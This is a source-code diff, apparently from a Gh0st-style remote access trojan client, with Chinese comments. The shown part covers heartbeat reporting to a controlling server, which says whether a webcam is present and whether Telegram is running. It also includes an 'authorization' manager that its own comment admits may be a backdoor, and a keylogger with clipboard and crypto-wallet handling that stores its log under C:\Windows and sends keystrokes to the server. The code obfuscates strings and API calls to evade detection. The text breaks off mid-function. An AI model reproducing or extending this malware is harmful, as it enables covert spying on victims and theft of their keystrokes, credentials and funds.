||||
virtual int SendHeartbeat()
|
||||
{
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
|
||||
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒,转为毫秒
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type)
|
||||
{
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "摄像头"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// 检查进程是否正在运行
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames)
|
||||
{
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// 获取当前系统中所有进程的快照
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// 遍历所有进程
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// 如果进程名称匹配,则返回 true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
virtual uint64_t GetClientID() const override
|
||||
{
|
||||
return m_conn->clientID;
|
||||
}
|
||||
virtual bool IsAuthKernel() const {
|
||||
return false;
|
||||
}
|
||||
virtual void SetClientApp(App* app) {
|
||||
m_ClientApp = app;
|
||||
}
|
||||
App* m_ClientApp = nullptr;
|
||||
};
|
||||
|
||||
// [IMPORTANT]
|
||||
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
|
||||
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
|
||||
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
|
||||
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
|
||||
class AuthKernelManager : public CKernelManager
|
||||
{
|
||||
public:
|
||||
config* THIS_CFG = nullptr;
|
||||
|
||||
bool m_bFirstHeartbeat = true;
|
||||
|
||||
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: THIS_CFG(IsDebug ? new config : new iniFile),
|
||||
CKernelManager(conn, ClientObject, hInstance, kb, s)
|
||||
{
|
||||
Mprintf("Init a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
virtual ~AuthKernelManager() {
|
||||
delete THIS_CFG;
|
||||
Mprintf("UnInit a authorization kernel manager: %p\n", this);
|
||||
}
|
||||
|
||||
virtual int SendHeartbeat()override;
|
||||
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
|
||||
|
||||
virtual bool IsAuthKernel() const override {
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
634
client/KeyboardManager.cpp
Normal file
634
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,634 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
#include "keylogger.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
// 这个库不支持一个进程运行2份键盘记录的需求(例如分享主机)
|
||||
// 未来也许移除对clip的使用
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clip_x64D.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip_x64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "clipd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "clip.lib")
|
||||
#endif
|
||||
#endif
|
||||
#else
|
||||
#include "my_clip.h"
|
||||
#endif
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
||||
{
|
||||
#if USING_CLIP
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
m_bIsWorking = true;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
SetReady(TRUE);
|
||||
Mprintf("CKeyboardManager1: Start %p\n", this);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hClipboard, INFINITE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
delete m_Buffer;
|
||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||
}
|
||||
|
||||
void CKeyboardManager1::Notify()
|
||||
{
|
||||
if (NULL == this)
|
||||
return;
|
||||
|
||||
m_mu.Lock();
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
|
||||
{
|
||||
m_mu.Lock();
|
||||
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
m_bIsOfflineRecord = lpBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
m_Buffer->Clear();
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
{
|
||||
m_mu.Lock();
|
||||
auto w = m_Wallet;
|
||||
m_mu.Unlock();
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
|
||||
|
||||
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
std::string GetKey(int Key) // 判断键盘按下什么键
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||
std::string KeyString = "";
|
||||
//判断符号输入
|
||||
const int KeyPressMask=0x80000000; //键盘掩码常量
|
||||
int iShift=GetKeyState(0x10); //判断Shift键状态
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = skCrypt(":");
|
||||
else
|
||||
KeyString = skCrypt(";");
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = skCrypt("+");
|
||||
else
|
||||
KeyString = skCrypt("=");
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = skCrypt("<");
|
||||
else
|
||||
KeyString = skCrypt(",");
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
||||
KeyString = skCrypt("_");
|
||||
else
|
||||
KeyString = skCrypt("-");
|
||||
break;
|
||||
case 190:
|
||||